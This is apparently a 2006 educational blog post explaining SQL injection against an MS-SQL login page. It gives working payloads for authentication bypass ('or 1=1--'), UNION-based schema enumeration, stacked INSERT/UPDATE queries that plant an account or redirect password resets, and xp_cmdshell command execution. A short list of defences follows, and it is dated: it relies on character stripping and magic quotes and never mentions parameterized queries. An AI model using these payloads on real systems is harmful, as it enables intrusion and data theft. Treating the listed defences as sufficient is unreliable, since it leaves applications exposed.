Tuesday, April 18, 2006

[itsdifferent] Understanding SQL Injection

A technique often employed by malicious users for gaining illegal access to remote machines, through the web applications' vulnerability, is SQL injection. The basic idea behind this technique is to run the SQL query, something not intended by the programmer. SQL injection relies heavily on logical operations such as AND, OR, UNION, etc. If this technique is used properly, a malicious user can gain complete access to a web server. If the application is creating SQL strings naively on the fly (dynamic queries) and then running them, it can create some real surprises as we shall see later on.

How does SQL injection work?
Vulnerability occurs as a result of faulty validation of data provided by the user in web applications. It may be possible that the programmer is a newcomer and does not understand such attacks. However, in many cases I have seen that most of the time it is the programmers who are too lazy to consider and apply proper security checks. A majority of programmers believe that the client or end-user will always give correct input to the application. They just check for some minor validations like empty string or null values, etc. but never think of the fact that a user could insert a specially crafted query which reveals all the important information on your machines.


The outsourcing boom saw the entry of many new companies with less experienced programmers. As such, these kinds of attacks also increased. If we take a simple example of a login page, then generally a programmer's uses this pseudo code (assume that the database server is MS-SQL Server). See code 1 below:


query="select * from userinfo where username='"&strUser&"' and password='"&strPass&"'"
if strCheck="" then
bool loginflg=False
bool loginflg=true
end if

This query works fine, without any problems, if a user enters the correct characters. But suppose a malicious user enters the following:

password=' or 1=1--

Now the above query will become:

query="select * from userinfo where username='test' and password='' or 1=1--'" 

(-- Symbol denotes the comment in SQL Server. Hence in the MS-SQL Server everything after the -- is ignored.)

So this query actually becomes something like this:

select * from userinfo where username='test' and password='' or 1=1

We can break this query into two portions, e.g.:

p=>username='test' and password=''

So we can write it as pVq.

From Boolean algebra we know that in V(OR) operation the result will be true if any of the value is true. As in the above code the value of q is always true, since 1 is always equal to 1, hence the value of this entire expression(pVq) is always returned as TRUE. So the query becomes (I am using p, q for ease of reading)

query="select * from userinfo where pVq"

Now, as discussed above, the pVq is always true and hence the query will select all the records in the current table. But generally a programmer takes one record for login and hence the username becomes the username of the first record.

Consider the following table:

No.    username    password
1.       test              test
2.       temp            temp

In this table if the above query is executed, then the username becomes test. Hence on executing the above malformed query a malicious user can bypass authentication mechanisms of the web application. This is only one thing among several endless options that an intruder can use. By using specially crafted query a user can retrieve the entire database schema of your application or the user can upload/download any file or even gather any other information such as credit card numbers stored in the database, delete the user, add a new user, etc.


Different types of attacks
Union operation permits combining two results. By using this option a user can retrieve any sensitive information from the database. In case of the above query we mentioned, suppose a user enters the following in the username and password fields:

password=' or 1=1 union select top 1 TABLE_NAME from INFORMATION_SCHEMA.TABLES--

On execution of this query the database engine will give an error, something like:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'userinfo' to a column of data type int. /testpage.aspx, line 25.

Now, from the above mentioned error it is clear that the table name is userinfo. After determining the table name, the user needs to find the column name in the table. So the user can enter the following values:

password=' or 1=1 union select top 1 COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='userinfo'-

The output will now be:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07' 

Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /testpage.aspx, line 25.

The above error message shows that the first field or column in userinfo is login_id. To get the next column name the user will type as:

password=' or 1=1 union select top 1 COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='userinfo' where COLUMN_NAME not in('login_id')-

Then the output may be as follows:
Microsoft OLE DB Provider for ODBC Drivers error 
'80040e07' Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /testpage.aspx, line 25.

In this manner, a user can gain information about the tables, username, passwords, etc.

With the insert key word, a user can easily add new records into the database. Given that we know the partial structure of the members table, we can try adding a new record to the table. If this works, we'll simply be able to login directly with our newly inserted credentials. Look at the following query:

SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'test@test.com';
INSERT INTO members ('email','passwd','login_id','full_name') 
VALUES ('test@test.com','hello','test','test');--'; 

Based on the implementation and database permissions, this query may work and one can login with the user name "test" and password "test". On the other hand, this approach may fail, supposing that there is a different table which contains the access rights to the user and other stuff or may be the web application user doesn't have insert permission for the user table.

As discussed above, sometimes the select insert option may fail depending on various conditions. In such a scenario, using the "Forgot Password" button seems a nice way to get into the system. See code 2.


SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'test@test.com';
UPDATE members
SET email = 'malicious_user_mail@mail.com'
WHERE email = 'test@test.com';

These are the general techniques used. However, based on the combination of various SQL keywords – say "LIKE", "CREATE", "DROP", "WHERE", etc. – one can unleash a variety of attacks.

Built-in Stored Procedure
Another technique in the case of SQL Server is using SQL Server's stored procedure. A default installation of SQL Server contains many stored procedures which a malicious user can easily misuse. One of these is:

Microsoft's SQL Server supports a stored procedure xp_cmdshell that permits what amounts to arbitrary command execution and if this is permitted to the web user, complete compromise of the web server is possible.

If xp_cmdshell is enabled, then a malicious user can run any arbitrary command on the web server. Although access to xp_cmdshell is usually limited to administrative accounts, it's also possible to grant it to lesser users. Not to mention many SQL Server installations run with default user "sa" and blank password!!

How to save web applications from SQL injection attacks?
You can now understand that SQL injection attacks work on many sites easily. There are many programmers who never validate the data properly. If you are a web application developer, then you need to secure your application from such attacks. Following are the proposed solutions by which you can avoid such attacks:
1. Data sanitization: We should remove unwanted characters, say ', ", ;, or -- from the user input. Allowing these characters may enable SQL injection attacks on your website. However, there are times when you may have to allow certain special characters, say ' as in the name O'Reilly.
2. Limit database permissions: We also need to make sure that we give only necessary permission to the user. Allowing unrestricted access to the user may cause trouble as we discussed above, a malicious user can use built-in stored procedures to perform the attacks.
3. Use stored procedures: If possible, use properly formatted stored procedure instead of dynamic queries in your web applications. It will reduce the chance of such attacks.
4. Use quote function: We can use built-in functions like magic_quote in case of PHP to properly format inputs from a user. This will also prevent attacks.


Deven Goratela
देवेन गोरातेला

Note: This Group is not a Job Searching Group, so please co-operate and dont transfer any kind of job related material across this Group.AnyOne doing so can be banned from the Group
Thanx , Group Co-Ordinators


No comments: